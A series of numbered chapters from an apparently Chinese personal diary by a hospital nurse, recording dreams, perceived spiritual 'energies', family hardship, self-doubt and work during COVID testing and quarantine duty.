    妹妹说爷爷奶奶说弟弟靠我们了，妈妈说弟弟结婚靠我们了。谁也靠不住。我们能还给原生家庭什么呢？我妈妈说她的家境小的时候其实很好，外公是什么干部或者队长之类的，他们家和我娘家是相当的那种，可是她和小姨读书只读到了小学，舅舅学到了高中或者初中的样子。因为外公对她说女孩子读到了书没有用，以后还是要嫁人的，嫁人了就不是自己的。那个时候我刚初中毕业。虽然考到了高中又怎么样呢？奶奶说她小时候就读了一年级，家里人不让她上学，她要去弄猪菜干农活。而她哥哥可以去学习。那个时间段我很痛苦，我不知道我在痛苦的是我自己的情绪还是他们的。我想问有钱的亲戚借钱上学，可是不知道为什么开不了口，因为有了学费还需要其他的费用，我有什么底气让别人投资一个不可能存在的未来。未知的未来。没有。我观看我的面相我的面相长的很丑不是大富大贵之人然后我的思想很容易被别人影响，别人说什么就是什么，没有独立思考的能力。
    说到独立思考的能力，我想到了小时候一件事，爷爷说我会思考了，可是奶奶好像不是很开心，我也快不记得那件事了，那是粮仓里有老鼠，有一个亲戚的粮食放在了我们家里，然后我们的粮仓有老鼠，但是我不知道另外一堆谷子不是我们家的，爷爷说要放一勺谷子在旁边，然后如果有老鼠的话就可以吃那勺谷子不会去吃多的怕弄乱，因为那个老鼠好小打不到。然后我就挖了那边那堆，奶奶就问我为什么要挖。就说明了原因。然后奶奶说我弄错了，弄了亲戚的，后面我就挖了自己的回去。但是不知道为什么那个事件里，感觉奶奶的后面有一团灰色的能量一样，所以我就看了她很久。我想起来就感觉很奇怪这件事。想不明白。难道这是亲戚家里的能量，会认为我们偷偷的拿了人家谷子？？搞不懂。而且自己的谷子为什么不用袋子装，做好标识。反正搞不懂这件事。
    有的时候在别人的状态里也看到了黑色的灰色的能量，可是我又不懂对方的这个是什么含义，所以有的时候看到了也没有什么意义，也许可以学习如何沟通。
    最近有一个事，医院食堂有护理垫。卖二十五元，产科那里自助机有卖护理垫三十元。质量更好一点，我们和食堂和产科也没有合作关系，然后病人他们需要成人护理垫，做手术时用。来的时候就懂那个东西说的不好人家患者就会认为你不好，在推销东西，还和老师说稳这个事，后面和其他老师搭班的时候就出现了这个问题就是搞得自己好像在推销东西一样，然后就被批评了。还有一个患者她是产科护士长的亲戚。她要做手术，然后我忘记她了，给她介绍了产科和食堂都有护理垫，可以叫家属准备一下，后面她的家属就去食堂买了，然后产科护士长就知道这个事。就说她的不用买，为什么我又这样子做。然后这个事就好大了，就挨批。口语表达能力一般般。如果让人家误会，那么就容易被投诉。所以说我感觉上班就容易碰到别人的负能量，或者这是自己的负能量，别人不想让我好好过，我就不好好过，自己不想好好过，我就不好好过。总之我就没办法好好过。这样子的事让我感觉很烦躁。我该怎么样应对？做手术需要护理垫，这个医院不提供，需要患者自己准备。产科是因为有的产妇来的匆忙可能没有带够东西，然后自助机有。可以患者自己选择去购买。哪里都有，又没有指定的。
    还有一个能量，上班的时候偶然碰到的，我在做事医生也在做事，后面就有一团能量，好像我和他有什么一样，可是并没有，我们两个都结婚了，可是后面就是有这样子的能量，像一个女孩子的灵魂一样，后面就静静的看着她走掉了，我都不知道她是谁的灵魂，谁的思想意识，我就算容易被攻击又怎么样？我并不能好好处理。我该怎么样好好处理？人家也许很忙很累，所以喜欢乱想，这个很正常，我们很累的时候也容易碰到这样子的事。会负能量满满，会不由自主的攻击别人，也许比自己弱也许比自己强的，可是我该怎么应对。即要想办法保护自己又不能攻击到别人。好复杂。我不晓得那是什么？没有攻击力我就会被别人的能量压着打，有攻击力我又讨厌自己欺负别人的样子。所以只能上班的时候，很好的样子，然后下班得时候一堆负能量，如果不想要负能量就在刷视频，可是刷了以后浪费了很多时间因为我需要学习，工作里很多的知识我都不太明白，那些知识复习了一遍后面就会忘记，又要复习。苍蝇不盯无缝的蛋。有负能量入侵自己的意识，说明我有好多裂缝。我的内在意识里，我该怎么补我心里的裂缝，我该怎么构建屏障保护自己？所有的东西都比我贵。都比我重要，我的思想是这样子认为的。为什么我的思想会这样子认为？它因为什么样的原因而形成？我该怎么样去扭转这样子的结局？如何去解答这个难题？也许什么都不要多想，才是答案，能够把当下做好就是答案。可是很难当下做好。该怎么样才能把握住当下不被他人影响？
    我看到这里写到这里其实我认为我的精神里有问题有毛病，可是我这样子的思考真的有毛病，是有问题的吗？我几乎动不动就会对自己说自己可能有病。一个原因是因为我的爸爸他抑郁，然后很多人说他有病，走很小的时候也经常被同龄人打骂，说我有病。那些家长会去表扬我，在很多人的时候，然后他们走了以后，他们的孩子就会说我有病，因为我的爸爸有病。我那个时候是想不明白这个事的，后来长大了，我想可能是因为他们也不太喜欢自己的父母打压自己然后夸别人家的孩子吧！我那个时候的感觉是什么？很难受很悲伤，很生气，让我的心里很讨厌人类，后来和他们相处好像没有什么喜怒哀乐一样，麻木，冷漠，有的时候又会去帮忙，解决难题，很多时候不太敢靠近别人，因为过了一段时间就会让我感觉很冷，表面上很多东西是没有计算的但是实际上还是需要计算很多，计算很多又会感觉很无聊，很没有意思，可是不去计算，就会变得越来越乱。所以我也会计算。我可能会开心，但是没办法开窍。妈妈说我爸爸其实是不喜欢我的。因为弟弟可以坐他的肩膀，可是我小时候他没有让我坐他的肩膀。可是我也忘记了。我记得小时候一张老照片里他抱着我，我笑得很开心，这个事我也忘记了。但是我看到了那张褪色的相片。
    我也不知道爸爸喜不喜欢我，但是他嘴巴没办法说的利索，他也在尽力的和我说话教过我知识。那个时候我没有听懂，后来我听懂了，已经过去了很久很久，我想他不会不爱我吧！因为他不爱我的话，其实我很早就可能会没有生命，因为我们都是相互感应的。如果感觉这个家不爱我了，或者我没有存在的意义，那么我会想办法死去。而我还活着。活着就是他们给我最好的爱。可是他们也是不爱的，如果孩子会去喜欢会去爱，应该会有很强大的能量让他们承担自己成家立业的能力吧！可是没有。而我结婚以后，我也没有，我感觉我也没有很爱自己的宝宝，没有给她无微不至的照顾，可是她也不需要无微不至的照顾，我越喜欢越爱，宝宝就生病更多，就像我在抢夺她自力更生的能力，来展现我是一个好母亲，伟大的母亲一样，所以我不想这样子。我也没有时间，我想我妈妈可能也是这样子的吧！
    在我的幻想里，他们是好的父母，我不应该对他们产生怨恨，把他们想象成正常的人的话，我会很痛苦很难受，因为我需要的爱和温暖，安全感，这些都没有，还有各种心理症状。这些父母是没有办法提供的。就算我当了妈妈我也没有办法提供。

 第188章

    梦境，梦到了一只老鼠，然后梦里面是上班的场景，梦里我给老鼠注射了药水，然后她昏过去了，我去丢了她。
    然后下一个场景是一个房间，房间里是一个做手术的病人，然后做手术的病人说小谢帮他们拖好了房间，梦里的我说我不记得什么时候帮他们拖好了房间。她一直都在那里。然后梦里另一个我，说我拖好了房间。好奇怪的梦。
    昨晚的梦，梦到了一个白色的好大的灵魂给我上环。可能听课，夜有所想梦有所思。因为最近都在听课。刚好就讲了一个上环的手术。
    最近在弄电子病历，我还不会。然后我把科室里心电监护仪给摔坏了。本来不是拿那一台的，然后拿另一台，那台就掉下来了，它脸朝下，坏掉了。然后拿的去修，有一个功能键没有修好。护士长有可能会把我送走。好生气。很想讲买过一台，让我赔钱。算了吧！一台十万？左右，我哪里起，希望修仪器的能修好。
    给我老公转了两千，说爸爸做手术，大概需要四千块，住个院。估计也要万把块钱吧！真的是没办法。

 第189章

    梦，昨天下晚班，白天带了一会儿宝宝。然后看了一会儿小说，小说男主好像是一朵莲花化成的僧人。然后看了一段，下午就去准备采核酸了。采完核酸回家吃好饭，带了一会儿宝宝，就特的累，后面老公把宝宝带走以后。我本来在做强国的，就怎么也醒不来。好累好累。然后到了晚上十一点醒了一下，本来要做强国，然后动了一下子，然后又昏睡过去了，就再也没有醒过来了。
    我就差几分就可以了，但是我没有做到。要扣钱，而且本来晚上还要刷题的，这几天考试，一个七百多，一个三百多，两次考试。这个月考试比较多，八月份，考了一次手机里的，才考了75但是那是一百二十道题，她们都考了九十多，我会被扣死。她们用手机搜的，而我连用手机搜的时间都没有。下次我有机会我也这样子，不要太实诚，毕竟和钱挂钩。还有一个考试，是笔试82分。还有两个考试了。这两个考试刷题。题目已经刷完了。但是正确率不高。
    说梦境吧！梦里面是一座山。我在山里面跑。然后前面有一个女孩子在带我，然后我就跟过去了，然后我看到了山里面有禾笋。我问她为什么你不拔禾笋呢？她说这里的东西不要动。然后整座山都是黑色的。后面我从山上一直下，然后到了一条河里，从河里出来，那个女孩子。变了一个人，好像是另一个人，她对我说她吃了肉，她要把骨头丢的远远的不能留在河里。然后我问她扔哪里了，因为我就看到了好多水，没有看到扔骨头的地方。我想她说骨头要扔开的意思是这条河通过去是有寺庙的吧！可是和尚的荤辛并不是指这个东西。然后她不见了。梦里的我也灰灰的。好奇怪，难道当和尚的人真的不能吃肉？然后梦里面的另一个场景，梦里面是两个女孩子，一白一黑。然后黑色的女孩子把白色的女孩子带到了河边。白色的女孩子在梦里面很漂亮，然后不知道为什么梦里面白色的女孩子被黑色的女孩子打，或者是黑色的女孩子打白色的女孩子，总之她们好像在打架然后其实她们又是同一个人，死掉了。梦里面，死掉了的她们化成了一幅画，画里面像一个孩子的灵魂一样，她的眼睛里好多黑暗的东西，眼里没有了一丝的光芒，冒着黑色的雾水。她看着我，因为梦里面我的灵魂一些是白色的后面是好黑的颜色。黑色的那个东西不知道是什么，笑容特别的奇怪。就像恶魔一样。
    不知道什么情况。反正昨天好累。好累。中途醒了一下零点多。可惜强国没有做完。梦里面好像是说这是嫉妒吧！一个人有两面，然后她的暗面嫉妒另一个人的美丽的一面，可是她们两个又是同一个人。后面她们互相残杀。好像是。其实我也不懂。可能不是，因为我只是看着。而且这个好奇怪为什么会搞得我一晚上都没怎么醒。难道和尚是不能吃肉的吗？可是书里面是说他们是可以吃肉的，只是到了某一个年代他们就不能吃肉。

 第190章

    我不出意料的被妇科退回了。和我第一天去妇科的感觉差不多的结果，领导说很生气，因为我这样子的情况是史无前例。跟了两个月的班还导不出班来。供应室跟了一段时间不记得是一个月还是多久了，没有导出班来，预检分诊的话其实人家对我的意见也很大，但是领导说她压下来了，所以预检分诊回不了。人家也不可能让我待。新生儿科的话跟了六个月的班，没有导出班来，所以也被退回来了。可能我不适合学医。工作八年了。
    有点子失落。但是可能我并不适合学医。就像家公讲的可能我命中注定是种田的命。随着时间的消逝，你慢慢的认清和看清自己内心想要什么。
    李老师说过他们做事其实根本就不需要思考，也不需要很吃力，然后就能把事情做好。而我的话我都需要不停的想，和思考，一旦我的精神稍微有一点点漏洞，马上就出差错。很多次都是这样子，可是我没办法解决这个事。
    梦境，梦境里面有孩子说外面很好看。然后我就出去了。发现天空上的云朵是彩虹色的，很想芭比的世界一样很美。
    然后我拿手机去把这个景色怕下来，发现天空变掉了，看到了一个没有脑袋的菩萨。她很高大，但是很空。然后来了一个黑色的女人，她来到了代表未来的房间，她笑眯眯的说了什么，但是我没有听懂，后面她对孩子说为什么你们的眼睛里有一层黑色的膜。然后仔细去看发现瞳孔上有一层黑色的东西像猫咪遇见黄的眼睛一样，有一点尖尖的，然后梦里的我对她说我也有，怎么办？
    然后下一个场景，他们是一个家里是一对恩爱的夫妻，然后他们分享了自己的生活，后面他们家里不知道来了什么东西，后面他们家就变得生了很多病梦里那个家的女主人说你生病了。梦里面家里的男主人说我的车他想帮我把车弄出去，然后我就自己移了一下。出去了，发现他们家的门上原来有一对很漂亮的红对联，但是覆盖上了一层黑色的纹路，我感觉那个东西是嫉妒。可是也许我看错了呢？

 第191章

    梦境。梦里面是我在采核酸。然后进入了一个女孩子的家里。然后我们两个一起躺在床上。梦里面女孩和我说话，不知道她说了什么？我就一直惦记着给她采核酸，然后我在柜子里拿了几件裙子穿起来，问她哪一件好看，那个柜子里的裙子是我自己本人的。梦里面我们躺在床上然后她的床底下在用电弄一个膏。好像是榴莲膏。我也不知道为什么她要用这个，后来她爸爸进来了，把那个榴莲膏拿走了。然后他出去了。梦里面我还和她很自然的说话，说了啥不知道，她说拜托我一件事。梦里我好像笑着答应了她。但是我不知道她拜托我的是什么事？完全没有记忆。只记得她拜托我一件事。我答应了。然后下一个梦，梦里面是一座庙。梦里有一个黑色的孩子想要进去那个庙。但是我感觉那个黑色的孩子是我自己，然后我没有进那个庙，好像进错了庙，进了另一个。梦里的女孩又出来了，她说我需要进那个庙里面。不是这个。

 第192章

    梦境。前天的梦境。梦到了一个灰色的人说的核酸的事，我和他吵架，然后梦到了第二个少年，他说他有两个信息，梦里的我问他是不是一天做了两次还是你把码给别人刷了，然后他就没有回应我，退下去了。后面四点多宝宝醒了给她弄奶粉。然后就休息了。
    昨天的梦。没有记录。很奇怪四点多左右看到了一些蓝色的灵魂，不知道它们在讲什么听不懂。然后宝宝醒了给宝宝弄奶粉。昨日下午的时候是看到了黑色的灵魂在自己的脑门上转，也不知道它干嘛的。
    晚上的时候就和家公家婆他们讲自己的最近的情况。这一个月来他们没什么事就说我宝宝不小心拉了一点点屎，不小心抓了屎吃。已经讲了好多遍了，可能他们在暗示我能力不足，像吃屎一样。索性就告诉他们我过的非常不好被退回了。直接讲。老公的表姐经常来我们家讲谁家媳妇不好，怎么不好怎么不好，每次讲的时候都特别的兴奋。让我想到了小时候一个女孩子她也是经常在我的面前讲谁不好，可是我很讨厌她这样子的说法，又不能讲她，所以就天天在她面前漏各种各样的错误，后来她几个月没有在自己面前讲谁不好，可能在别人面前讲我的不好吧！这几个月非常的清净。我不知道我面对表姐是什么感觉。人非圣贤，我心情不好的时候也会讲别人的不好，我感觉我也会。而且我在评判别人的评判。好累啊！这样子的状态。
    今天采完了核酸，做了一些体检的项目。回家吃好饭。睡着了，感觉好累啊！梦境里也不知道什么情况，我只是醒来的时候感觉就像内心有一个发光的小孩子，然后它在说自己很没有用。然后我好疲倦。好多黑色的能量。好累。
    不知道是是什么？
    最近在看小说，小说主人公遇到挫折百折不屈，不卑不亢，好多优点，好羡慕。而我只有没用。最近也好想说好没用，哟真的好不开心，好生气，好难受，也没有办法。好没用。

 第193章

    不知道为什么突然会梦到我同学的名字？想不明白。
    在我眼里我同学是一个什么样的人呢？她可以团结很多人，然后她学会了很多为人处世的技巧，并且能够灵活的应用的人。在学校里的话能够很好的当班干部。不过我并不能和她很好的相处，虽然我心里比较佩服她。但是我比较孤僻。我是纪律委员，管纪律的，很凶巴巴的，而且后面的话我做的并不好，因为我认为我做的没有意思，我又得不到别人的喜欢，还要得罪一帮的人，而且他们还会弄烂我的桌子还有我的书，还有碗。我本来就穷，没什么钱，这种伤害自己成全别人的事，后面我就辞退了我的班干部职务。不管了。搞学习去了。我也不是很想当书呆子。后面看到了很多情况，发现很失望，所以就放弃了。我也不知道我要做什么？而且我也知道我家里人的期待。希望我早点嫁人。家里小孩子比较多。早点出来，最好在二十一二岁的样子，在我七岁左右就知道大概的人生规划。所以也是按这个计划走的。虽然结果是达到了，但是心里不是很开心。
    这几天都在想很多奇怪的想法！如果一开始从小我就没有什么本心只有很多为人处世的技巧，能够换取我的利益，我会不会过的开心或者很好呢？而不是像现在这样子很死没用。可是我还是不想成为这样子的人吧！我想要的也不是这个吧！我想要的是学会如何接纳我的情绪，我真的是满满的负能量，我要怎么去修复自己？以前在学校的时候也会碰到很多让我伤心的事，直接哭就可以了，马上情绪就好了，心情更稳定了，然后状态也好，而现在的话情绪是出不来的，就像心里很不爽，不能马上出去，因为要过一段时间，因为马上出去的情绪怕会受伤，受到更严重的打压会受不了。我的为人处世很糟糕。为什么很糟糕呢？我也不知道为什么？以前在家里，思考的东西就是不用思考，然后好好听话就可以了。后面慢慢长大了，发现很多想法和家长的不谋而合。就是想问题和看问题的思考方式还有结果是一样的。那个时候的场景好像自己的周围有一团灰色的好大的能量，让我感觉自己有害怕和发抖的情绪。那种能量告诉我的好像是他们想的东西都和我的一样，那我要去思考什么呢？可是好像也不是这样子？我也不知道要怎么形容那个时候的感觉。我也很害怕那种东西。很强烈的恐惧感。小时候突然从楼上摔下去了，而那个时候就是碰到一个好大的脑袋，有一栋楼那么大，然后她就在笑，我叫她奶奶，可是仔细看她又不是奶奶。我也不知道她是什么。后面到了学习的时候。表堂哥送了一本如何成为尖子生的书给我，那本书的内容我感觉很好，所以很用心的记下来了，然后我发现了灰色的那种东西很大的情绪。我不知道它是什么，后面虽然有书，但是我没有学会里面的技巧，虽然书有用，但是对我没有用。后面一段时间我根本就看不懂书了。我也不知道它做了什么，总之它笑得很奇怪。我想它不知道是不是我无意间碰到了病魔，能够钻人家脑子里修改智商或者引起别人有失读症。或者是因为我触犯了规则？我的本质就是不能学会技巧，用技巧掩饰自己的内心生活。所以它把我学的技巧给弄掉了。可是别人有真实情绪，我会感觉她很不错，可是如果是我，我怕。我怕我的真实情绪会让我受更大的伤害。

 第194章

    希望疫情好起来。赶紧好。
    最近江西有几个地方有核酸阳性的。然后医院抽了人过去。最近上上下下都好累。然后我们需要准备二甲复审。所以都在加班。我被调的去采核酸了。过段时间会去隔离点。不知道调的去哪一个隔离点。管它哪一个都是上班。晚上十八点到二十一点在科室里学习。我的书要记得带的去。背，写。领导说希望我采完了核酸以后帮老师整理病历。这几天上午采完了核酸，我下午就在休息。因为本来预计要一天的，后来学校领导安排。我们就和学校领导一致。然后就做完了，后面他们又变动了，然后我们就变动了，一天采就一天采。总之就是要一天我就一天，要半天我就半天。其实时间还是很多。就我个人来说。可能是因为最近太衰了，然后家里人又住院。其他同事的话，他们更辛苦。有的下了晚班还要来采核酸，有的采完了核酸还要上班，然后有的半夜安排去采核酸。总之，每一个岗位都好辛苦啊！特别是还抽了人去别的县采核酸。然后我就去医务科学习，因为我没有科室了。采核酸归医务科管理。就我一个人在学习，他们都在用电脑工作，好像在加班，我看不懂他们的班，感觉好复杂。要么处理投诉，要么什么报表，好多头大的事。还有和其他单位的领导沟通采核酸的在哪里吃饭，能不能报账？然后被其他领导拒绝的事。好复杂。
    待在那里的话，感觉我的内心一个劲的在讲，做不好做不好，我做不好。不过我也不知道是说我做不好还是别人的声音在说做不好。搞不懂。管它呢一份经历而已。然后看到了好多灰色的灵魂在周围移动的感觉，不过我也不知道那是什么。奇奇怪怪的能量。
    我们医院附近有一个寺庙，不过我没有去过。离我们医院也有点子远。我也搞不懂那个精神力是不是那边的。反正我搞不懂的事多的是。
    今天去人民医院看了一下耳朵。因为在妇科上班的时候医生说我老是重复问第二遍。他们很烦。他们说了一遍，然后那一遍我没有听清楚，我就再问了一遍，他们说我不能问第二遍，因为只有抢救的时候才能问第二遍，其他时候浪费时间，然后也搞得人家很烦。然后老师在教我的时候，也是有几句话她说的很温柔。然后我就没有记住，我在想是不是我耳朵有问题，没有听到她说的什么，还是因为其他的原因，然后就去人民医院看了，测了我的听力没有问题，不过也花了一笔钱买一点点药。开的药我感觉像是治疗心血管的疾病的。医生说我可以不用吃药，但是我感觉不舒服，所以还是叫他开。正好也受伤了所以，这个药也挺好的，对我受伤的症状，我还是有点子疑问，耳朵的问题为什么开治疗心血管类的药。不过我的心脏确实有一段时间是有点奇怪的感觉，但是去查心电图之类的又没有问题。搞不懂。人的疾病很复杂。学的东西又比较多。
    中医很好，但是中医太复杂了，需要新的一代好好努力，我们还是搞我们原来的。急救之类的。
    爸爸住了一个院花费一万多。
    去人民医院发现了一个以前的同事，她说她在人民医院上了一年的班了。不过我现在才知道，因为我不太听小道消息。对此没有什么太大的看法。我没有感觉。

 第195章

    梦境，现在五点多。昨晚的梦很奇怪。
    梦到了一个空间，空间里好多机器。然后它们在吐纸。然后我就拿了一个纸，后面人家叫我拿另一个，我就拿了另一个。然后就是下一个场景，梦里面是一个消毒包。
    然后又要拿垂体后叶素，不知道为什么会梦到垂体后叶素。然后梦里面我拿这些东西，在走回娘家的路，在村子口，突然碰到了什么，我的消毒包被撞地上了，然后我就要重新回去拿。污染了，梦里面另一个医生，他不知道讲了什么。我在想这是做儿科的手术，为什么路那么远。然后另一个梦的场景，梦里面我好多灰色的能量，都快把我包没了，梦里面回娘家，就还有一小段路就可以到家了，碰到了另一个医生，他用夏枯草，菊花，还有桑叶他说要给我吃一副药，但是梦里面那团灰色的能量笑眯眯的对他说，但是你没有熬药的东西，然后下一个梦，梦境里好奇怪我梦到了霉豆腐，然后霉豆腐的罐子打破了，流了很多红色的水出来，然后我吃了几块霉豆腐。梦里的我还在想为什么霉豆腐结成了坨，没有红油伴着不好吃了。然后下一个场景，就是在走一条路，那条路从来没有走过。景色很美。然后我在山上一直走，路也一直有，就不停的爬山，也不觉得累，很舒服。
    想的事有点子多，梦里面在想自己怎么考到编制的。在考护师的时候，正好碰到了一个也考护师的，她有一个朋友在市卫健委上班。我和她不熟。和那位领导也不熟，然后我就厚着脸皮去蹭饭了。不知道我怎么想的，我也搞不懂。那个时候可能想的是人家反正要花钱。也就一副筷子的事，不怕。然后无意间得到了消息，以后考编制，它不看全日制本科大专，然后我就努力的看书学习去了。其实就算没有那个消息我也会努力用功的，因为做全准备，万一哪一天用的上，这是必备的。万一用的上就用上去了。就是这个道理。然后后面就真的有了考试，然后又刚好成人专科学历下来了。然后又符合报考条件。
    那个时候吃饭的时候感觉到了很多灰色的能量，那个场景好大，那个灰蓝色能量像一个男的的笑容很厉害，他说你不喜欢我了。听到了他的声音，让我以为自己有什么新任务，需要执行，需要用心去考编制。才符合条件。然后就自觉国家兴亡，匹夫有责。这种奇怪的责任感入体，然后心理状态就很足。然后就考到了，而且还考的比别人高十来分。他们都问我怎么考到的，就这样子考得呗。如何成为尖子生，那本书虽然我没有学到精髓，但是里面又应付考试得内容，先做简单的，然后再花时间取想难得。在做准备考试得时候，就是练习题海战术，然后找自己做题的薄弱点一个个慢慢攻克。然后就是看书听天命，尽人事。然后后面第一名。然后就准备面试，面试的话，交钱去培训，家里面有当老师的。他们讲过，面试就是考验心理素质，而锻炼心理素质的方法就是去报面试培训班，因为那里好多一起考编制的人，都是考这个的，互相切磋，然后就知道自己大概的情况是什么样子。然后也更好锻炼自己的心理素质。后面面试过了。其实心理素质我没有后面那两个好。但是总分一来，我就过了。我们面试相差也就三分。我尽自己的能力希望考到比较高一点的面试分，如果在后面的竞争者她们的面试分比我的高七八分才能超过我，我也很心服口服。有这样子的同事我们也很开心。所以没有。可惜走考到了编制，事没有做的很好。
    老实说，我并不怕上晚班。在学校的时候就知道自己是需要上晚班的，所以做好了晚上上班的心理准备，也改了很多习惯，但是没办法。无语。

 第196章

    去了隔离点，上午采完核酸。大概十二点半多，反正弄好四十左右就接到了电话。然后就去吃了饭，回医院。最近的司机好幸苦，哪里都要接送，本来我们刚刚想自己骑共享单车回的。刚好他就来了，说才吃了两口饭，马上就来接。然后另一个司机饭都没有吃。就去接产妇了。最近他们都好忙好累。
    然后今天有十一个箱子，还有几包垃圾，我都饿得头晕了，所以就没有和管的一起回。然后她就坐车回去了。听司机说她在点箱子，有很多转运箱。问我们有没有给她带饭，我从来没有想过这个问题。。我不好意思。按理来说那么晚了。那么多箱子我要和人家一起过去，至少垃圾就我送。可是我太饿了。所以没有去，然后我送完了垃圾还要吃饭，还要去隔离点。领队的辛苦了。其实大家都饿，有的低血糖了，不过大家都努力了，因为不用下午做，下午的话需要浪费隔离衣，一百多一套，舍不得。不过让管理人员那么辛苦一个人搬那么多箱也确实不合理，希望以后没有这样子的情况。
    下午去了隔离点，中午的话没有休息，我们医院领导说叫我们带好工作服来，去人家卫生院报道，然后我就回家拿工作服，然后跑了一趟，然后又回去接同事，我脑子都好晕，不知道是不是骑车骑太多趟了，后面骑到一半，就让同事载我。因为我骑二十码她也觉得很慢，后面就她骑的，她骑的比我快，我都吓得半死，很少去经历那么快的。然后晚上回的时候是另一个同事骑的我的车，因为发现其他的同事他们有车可以同的到路，然后另一个男同事他同得到我的路，后面就叫他载我，好快，对其他人来说是正常的速度，对我来说，好快。

 第197章

    梦境，梦里面是一个很白的很大能量又很小的孩子，她对我说不要采核酸。
    不知道这个梦的含义是什么。
    我也没有回应。只是梦里在采核酸。
    我晚上突然醒来，我老公发现我在自言自语的状态，不知道怎么形容这种状态。里面的内容是想到了白天上班在拆一个机子的外壳，然后有一个内容我想弄下来，然后我发现我的精神力里面的人的意识像一个病人家属的，而那个病人家属是一个十来岁的女孩子，她的妈妈以前在我们妇科住院，一天晚上就是感觉我好像见鬼了要把她妈妈扶起来上厕所的那个病人。但是不知道为什么那个瞬间感觉自己的意识被夺走了一样。而白天的那个瞬间的意识也好像自己被她夺走了意识一样，就是几秒钟的事。不知道怎么回事，好的机子没有问题，也没有产生问题。但是不知道这是什么情况？
    不过临床的工作我确实做的烂。她是被发现了，其他有一两个病人她们不能下床活动的，想要下床活动，没准我也交代病人可以下床活动，而她们没有出现症状呢？对不对？学习学到了手术后多久不能下床活动，工作做的时候又是另一回事。我也搞不懂，怎么回事？感觉就是病人她有需求，有想要上厕所的症状，然后这是做了手术的正常反应。可是病人到了我这里，我就会交代她可以上厕所。医生8讨厌死我了，万一出了什么事，他们会被搞死，我也会被搞死，完全搞不懂我的脑回路究竟怎么想的，好像病人怎么想就由着他们。被人牵着鼻子走。所以我其实想到那个病人，我心里还是很感谢她的，她们还是没有什么事，还好。注意到了这个问题。还好。虽然喜欢临床，但是我真的这个脑子就是不适合。打针可以，操作做事可以，就是这个脑子不知道怎么回事？我有的时候也在问上帝为什么创造我出来，意义是什么？我存在的意义是什么？搞不懂。我一点也不完美。
    还有想到了那个病人的留置针，我感觉好笑。背操作的时候留置针一般保留七十二到九十六小时。然后到了临床，她的留置针保留的还好保留了六天，然后我想给她拔针，就说那个针只能保留四天。然后给她拔了。等这件事做完以后，回想起来，我感觉我有问题，为什么她的针保留了六天，要和她说正常保留四天，一般留置针可以保留三到七天。所以说搞不懂我的脑回路咋想的。没事都变有事。搞不懂耶！弄的半夜想到这件事我都会笑醒。真的很好笑。但是这不是一件好笑的事，这是一件很悲伤的事，我没有做好。但是我就是想笑，而且我搞不明白为什么自己发生了那么难受的事，还很想笑。半夜了，让我休息一下吧！明天还得上班。
    这是心理问题。我真希望我没病。但是真的就是那么不正常。而我的精神体是完全黑色的能量。以前都是白色的或者是米色的，能量很充足。也很有活力，搞不懂，为什么会这样子？我只看到了症状，我的意识容易被别人入侵的感觉，原因是什么？感觉又有点流泪的，可是又没有其他的情绪。

 第198章

    梦境，梦里面的场景很奇怪。可能记录不清楚。梦里面好多防护服，脱下来了，我在装。然后梦里的我在穿脱防护服，非常的不规范，可是能量很乱，就是潜意识背后的能量像一个灰色的巨大的鬼，一直在笑，那种笑容其实又是很难过的笑容。
    昨天家里来了几个人，一个是住政府发的房子的亲戚，也不知道他为什么来，他说希望我有时间到他那里看看，另外还有一个是不知道住哪里的亲戚过来串门，不知道他讲的什么没听清楚，他捡到了一个孩子，那个孩子和她哥哥长的几乎一样。所以暗示对方可能出轨了，然后有人用说闲话的方式问他回哪一个家。然后还有一个男的，不知道他啥名字，家公一直叫他骚古。他的名声不太好，家公说他和有夫之妇有染。所以好多人都在骂他，讲他不好。他的眼睛里有比较悲伤的情绪，看他的面相又还好，是个大富大贵之人。不过其他的我也不懂。后面我就自己睡觉去了。
    然后这两天有一个场景，就是我在学校采核酸的时候，防护面屏还有n95口罩都带了，但是有一滴手消液就射进我的嘴巴里了。然后有一个男的灵魂他的灵魂颜色很好看，他就在笑。也不知道他在讲什么？这个灵魂好像在小时候见过，五六岁的样子，他问了我什么？然后就把我带到了一个地方，然后我也不知道那是什么地方，就是很白的空间，然后自己的意识很浅要消失的感觉，然后他一顿操作下来，我好像又不会消失了。后面他就把人家送回来了。搞不懂，他这次出现是为什么？我也认不到他啊！

 第199章

    在黄码医院上班。意思就是，全县有黄码的需要看病的病人就会送到我们这里，很猝不及防。前天在采核酸，十二点半，弄完了，然后就接到了领导的电话，说要来报道。然后就去了，上午我们的领导去了黄码医院，但是很多人员都没有到齐。就几个人，然后我们就大概用我们平时上班的方式摸索了一下，大概放了一下东西。然后后面这里调了一个护士长，我跟这里的护士长说明了我比较笨的事，反正我也不想坑她，但是人家一定要我上手，我肯定会去上手，毕竟各项操作，打针，配药之类我又会，我就这个脑回路，是真的搞不懂。护士比较少，医生也少。然后很多东西都没有搞好。下午突然来了一个黄码病人，本来我们都计划还要细致的安排的。然后猝不及防的就马上穿防护服培训，好一点的进去了。我们给我们医院丢人了，在领导面前练得时候都操作的还好，来了那么多其他医院的，我们就被这里的领导批评了，说穿脱不合格，我的不合格是因为有眼镜，拱起来了，我同事是因为太紧张了，她本来都是在发热门诊上班的，不知道怎么有点心慌，然后我们培训着，就医生去听诊了。我们所有的医院都抽干了人员。办公室人家都受伤了，就受伤的那个人在那里上班，其他人都派出去了。连主任都去采核酸了。一开始这里的领导对我们的领导很抱怨，说没有来。后面发现真的太忙了，领导也安排了另一个领导来对接。但是也没有时间来，全员核酸，他们可能每一个点都要去，然后又有上级领导检查核酸质量，他们肯定要去陪同，然后进行指导工作。我们这里好多东西都没有配备全面，我们都以为没有病人来。结果什么都没有准备好，还在做准备的时候，就来了一个，听说是用体温枪测了一下37.3度，然后黄码。人家也没有出去过的，然后就送的来了，这里的医生检查用体温计检查，人家就没有发烧，正常的温度，然后询问患者就是他根本没有去过哪里，就在家里，可能是时空接触，黄码，然后我们也是按照流程，等他的核酸结果出来了，才放他离开，那个其他的工作人员，说要他在我们这里留下来，观察，然后我们就只能保留了，后面不知道领导他们怎么沟通的，核酸阴性，后面他们又派人接走了。
